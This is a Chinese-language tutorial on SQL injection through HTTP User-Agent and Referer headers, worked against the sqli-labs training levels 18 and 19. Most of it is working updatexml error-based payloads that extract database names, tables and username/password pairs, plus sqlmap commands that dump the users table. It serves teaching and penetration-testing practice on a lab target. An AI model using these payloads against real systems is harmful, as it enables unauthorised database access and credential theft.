圖文詳解HTTP頭中的SQL註入

HTTP頭中的SQL註入

1.HTTP頭中的註入介紹

在安全意識越來越重視的情況下,很多網站都在防止漏洞的發生。例如SQL註入中,用戶提交的參數都會被代碼中的某些措施進行過濾。

過濾掉用戶直接提交的參數,但是對於HTTP頭中提交的內容很有可能就沒有進行過濾。
例如HTTP頭中的User-Agent、Referer、Cookies等。

2.HTTP User-Agent註入

就拿Sqli-Lab-Less18

這裡的User-Agent是可控的,因此存在HTTP User-Agent註入

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

Payload內容:

updatexml(xml_document,xpath_string,new_value):

第一個參數:XML文檔對象名稱。

第二個參數:XPath字符串。

第三個參數:替換查找到的符合條件的數據。

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數據庫

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數據庫security,獲取數據表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數據表emails,referers,uagents,users,我們使用的是users表,獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內容

當我們使用下面的語句時,會報錯Subquery returns more than 1 ro

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數據有多行,我們可以使用limit限制其隻返回一條數據

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer註入

Sqli-Lab19為例

' or '1'='1

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數據庫

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數據庫security,獲取數據表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數據表emails,referers,uagents,users,我們使用的是users表,獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內容

當我們使用下面的語句時,會報錯Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數據有多行,我們可以使用limit限制其隻返回一條數據

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全測試

抓取數據包,將抓取的全部內容,放到文本文檔中,並且在有可能存在註入點的地方加入星號(*)

1.爆破數據庫

python2 sqlmap.py -r 1.txt --dbs

得到數據庫信息

2.爆破數據表

python2 sqlmap.py -r 1.txt -D security --tables

得到數據表的信息

3.爆破字段及內容

python2 sqlmap.py -r 1.txt -D security -T users --dump

得到數據內容

PS

1.HTTP User-Agent註入HTTP Referer註入屬於放包攻擊,我們在放包的過程中,必須使用正確的用戶名和密碼;

2.如果探測出是HTTP頭註入,在使用sqlmap跑的過程中,在末尾加上星號(*),可以提高滲透測試的效率

5.HTTP頭部詳解

User-Agent:使得服務器能夠識別客戶使用的操作系統,遊覽器版本等.(很多數據量大的網站中會記錄客戶使用的操作系統或瀏覽器版本等存入數據庫中)

Cookie:網站為瞭辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據(通常經過加密).

X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網站的防註入功能會記錄請求端真實IP地址並寫入數據庫or某文件[通過修改XXF頭可以實現偽造IP])

Clien-IP:同上,不做過多介紹.

Rerferer:瀏覽器向 WEB 服務器表明自己是從哪個頁面鏈接過來的.

Host:客戶端指定自己想訪問的WEB服務器的域名/IP 地址和端口號(這個我本人還沒碰到過,不過有真實存在的案例還是寫上吧).

總結

到此這篇關於HTTP頭中SQL註入的文章就介紹到這瞭,更多相關HTTP頭中SQL註入內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: